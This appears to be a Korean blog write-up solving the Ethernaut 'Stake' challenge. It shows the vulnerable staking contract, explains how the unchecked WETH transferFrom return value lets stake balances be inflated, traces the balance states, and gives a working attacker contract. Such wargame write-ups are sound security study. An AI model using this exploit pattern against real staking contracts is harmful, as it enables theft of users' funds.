Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}
Exploit
취약점은 StakeWETH()에서 (bool Transfered)를 검사하지 않고 바로 Stake balance를 변경시킨다는 점
Goal
인스턴스 이더 잔액은 0보다 커야됨
‘totalStaked > 인스턴스 이더 잔액’ 이어야함
Stakers[me]==True 여야함
UserStake[me]==0 이어야함
Scenario
player -> deploy 로 0.004 ether 주기
1. deploy 컨트랙트가 StakeEth()로 0.004 이더 예치
totalStaked = 0.004
UserStake[deploy] = 0.004
Stakers[deploy] = true
inst.balance = 0.004 ether
2. deploy 컨트랙트가 StakeWETH()로 0.002 WETH 예치 (그전에 approve 해야댐)
totalStaked = 0.006
UserStake[deploy] = 0.006
Stakers[deploy] = true
inst.balance = 0.004 ether
3. player가 StakeWETH()로 0.002 예치 (그전에 approve 해야댐)
totalStaked = 0.008
UserStake[me] = 0.002
UserStake[deploy] = 0.006
Stakers[me] = true
Stakers[deploy] = true
inst.balance = 0.004 ether
4. player가 Unstake로 0.002 빼감
totalStaked = 0.006
UserStake[me] = 0
Stakers[me]=true
inst.balance = 0.002 ether
그대로 컨트랙트로 만들었다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IStake{
function totalStaked() external returns (uint256);
function UserStake(address) external returns (uint256);
function Stakers(address) external returns (bool);
function StakeETH() external payable;
function StakeWETH(uint256) external returns (bool);
function Unstake(uint256) external returns (bool);
}
interface IWETH{
function deposit() external payable;
function approve(address, uint256) external returns (bool);
}
contract call_stake{
function ex() public payable{
IStake stake=IStake(0x9D7cBF9882886BbB6139b0eC6C7e05819e0b2f64);
IWETH weth=IWETH(0xCd8AF4A0F29cF7966C051542905F66F5dca9052f);
stake.StakeETH{value: 0.004 ether}();
weth.approve(address(stake), 0.002 ether);
stake.StakeWETH(0.002 ether);
}
receive() external payable{}
// 그뒤에 player가 weth예치 후 unstake하면 풀림
}
'Web3 > Ethernaut' 카테고리의 다른 글
[Ethernaut] Impersonator 풀이 (0) | 2025.01.18 |
---|---|
[Ethernaut] Puzzle Wallet 풀이 (0) | 2025.01.18 |
[Ethernaut] Gatekeeper Three 풀이 (0) | 2025.01.18 |
[Ethernaut] Double Entrypoint 풀이 (0) | 2025.01.18 |
[Ethernaut] Re-entrancy 풀이 (0) | 2025.01.18 |
댓글